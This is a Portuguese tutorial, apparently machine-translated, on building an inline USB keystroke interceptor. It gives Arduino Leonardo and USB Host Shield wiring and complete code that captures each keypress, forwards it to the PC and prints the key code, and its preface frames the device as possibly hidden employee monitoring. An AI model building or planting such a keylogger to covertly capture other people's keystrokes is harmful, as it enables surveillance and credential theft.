Prefácio
Vale dizer que o escopo deste dispositivo não é tão grande. Para o trabalho, isso é monitoramento, monitoramento do tempo de trabalho, proteção contra vazamento de informações e, provavelmente, isso é tudo.Na vida cotidiana, isso pode facilitar a vida. Por exemplo, eles pressionaram uma certa combinação de teclas - o Arduino os reconheceu e ... enviou um sinal para ligar a chaleira. Se não for uma chaleira, então outra coisa.Mas, ainda assim, esse é um rastreamento banal (possivelmente oculto) para um funcionário, o que, do ponto de vista moral, não é bom. Mas, no entanto, o certificado legal dá o aval se for prescrito no contrato de trabalho, se esse monitoramento ocorrer durante o horário de trabalho e no local de trabalho e se, é claro, o funcionário for informado e dispensado.Bem, em sua vida pessoal, você é livre para fazer o que quiser, desde que se refira à sua propriedade.Tudo, estamos legalmente protegidos, agora vou contar e mostrar o que precisamos e como reuni-lo para obter um simples interceptador de pressionamentos de tecla no teclado.Vamos começar
Então, precisamos de uma dúzia de fios e duas placas:1) Arduino Leonardo
2) Protetor de host USB
Por que Arduino Leonardo? Por ser relativamente barato e, diferentemente de seus antecessores, o ATmega32u4 possui suporte interno para conexões USB.O protocolo USB define dois tipos de dispositivos: host (mestre, servidor) e periféricos (escravo, cliente). O USB Host Shield gerencia e fornece energia aos periféricos. Por exemplo, quando você conecta o teclado a um PC, o PC é o host que controla o cliente e o cliente, nesse caso, é o teclado.E existem alguns periféricos suportados. Os mais interessantes são:1) dispositivos HID: teclado, mouse, joystick, etc.2) controladores de jogos3) telefones e tablets Android compatíveis com ADK.E para informações mais detalhadas, acesse o site oficial .No nosso caso, este é o teclado. Pertence à classe de dispositivos HID. O código HID do teclado é codificado em 8 bytes:1) 1 byte - cada bit corresponde ao seu próprio modificador (L Ctrl, R Ctrl, L Shift, R Shift, etc.).2) 2 bytes - reservados e não precisamos, geralmente é nulo.3) 3-8 bytes - contêm códigos de 6 chaves.Você pode ler mais sobre isso aqui .Tudo, com a teoria acabada, agora você pode montar o circuito.
A propósito, um programa muito conveniente para desenhar diagramas, no qual esse diagrama foi desenhado, está aqui .Agora vale a pena explicar o que é o quê.O Arduino Leonardo possui um pequeno recurso, devido ao qual não podemos conectá-lo no topo: os conectores SPI estão localizados no ICSP (esses 6 conectores estão no meio à direita) e, por isso, precisam ser conectados aos conectores digitais USB Host Shield.1) Fio amarelo: pino 4 MOSI (conectado ao pino 11 na blindagem do host USB).2) Fio cinza: pino 1 MISO (conectado a 12 pinos na blindagem do host USB).3) Fio verde: pino 3 SCK (conectado ao pino 13 na blindagem do host USB).Fornecemos energia com os cinco fios inferiores e um violeta:1) Redefinir para redefinir2) 3.3V para 3.3V3) 5V para 5V4) GND para GND5) VIN para VIN6) Redefinir para D7Agora precisamos conectar os pinos de controle:1) D7 a D72) D10 a D10Este é o mínimo necessário para fazê-lo funcionar.Portanto, existe um circuito, agora precisamos programá-lo de alguma forma e isso é feito usando o Arduino IDE. É totalmente gratuito e é de domínio público. Exemplos de programas e o próprio IDE podem ser encontrados no site oficial.Para trabalhar com o USB Host Shield, precisamos de uma biblioteca adicional ( aqui ).O código em si é o mais simples possível:#include <hidboot.h>
#include <SPI.h>
#include <SD.h>
class KeyboardOut
{
private:
KeyReport _keyReport;
void send_report();
public:
size_t press(uint8_t mod, uint8_t key);
size_t release(uint8_t mod, uint8_t key);
};
KeyboardOut keyboard_out;
size_t KeyboardOut::press(uint8_t mod, uint8_t key) {
uint8_t i;
_keyReport.modifiers |= mod;
if (_keyReport.keys[0] != key && _keyReport.keys[1] != key &&
_keyReport.keys[2] != key && _keyReport.keys[3] != key &&
_keyReport.keys[4] != key && _keyReport.keys[5] != key) {
for (i=0; i<6; i++) {
if (_keyReport.keys[i] == 0x00) {
_keyReport.keys[i] = key;
break;
}
}
if (i == 6) {
return 0;
}
}
send_report();
return 1;
}
size_t KeyboardOut::release(uint8_t mod, uint8_t key) {
uint8_t i;
_keyReport.modifiers &= mod;
for (i=0; i<6; i++) {
if (0 != key && _keyReport.keys[i] == key) {
_keyReport.keys[i] = 0x00;
}
}
send_report();
return 1;
}
void KeyboardOut::send_report()
{
HID_SendReport(2, &_keyReport, sizeof(KeyReport));
}
class KeyboardIn : public KeyboardReportParser
{
protected:
void OnKeyDown (uint8_t mod, uint8_t key);
void OnKeyUp (uint8_t mod, uint8_t key);
};
KeyboardIn keyboard_in;
void KeyboardIn::OnKeyDown(uint8_t mod, uint8_t key)
{
keyboard_out.press(mod, key);
uint8_t c = OemToAscii(mod, key);
PrintHex<uint8_t>(key, 0x80);
}
void KeyboardIn::OnKeyUp(uint8_t mod, uint8_t key)
{
keyboard_out.release(mod, key);
uint8_t c = OemToAscii(mod, key);
PrintHex<uint8_t>(key, 0x80);
}
USB UsbHost;
HIDBoot<HID_PROTOCOL_KEYBOARD> HidKeyboard(&UsbHost);
void setup()
{
UsbHost.Init();
delay( 200 );
HidKeyboard.SetReportParser(0, (HIDReportParser*)&keyboard_in);
}
void loop()
{
UsbHost.Task();
}
Resta apenas conectar-se via USB Arduino a um PC, e o teclado ao USB Host Shield, baixar o programa para o Arduino usando o IDE e pronto! O apanhador de chaves está pronto!Resultados:1) O Arduino oferece muitos recursos por seu baixo preço e uma grande variedade de módulos e sensores.2) Este dispositivo pode permitir que você transforme seu teclado em um painel de controle, por exemplo, uma TV, uma chaleira elétrica, uma lâmpada, você só precisa comprar alguns módulos.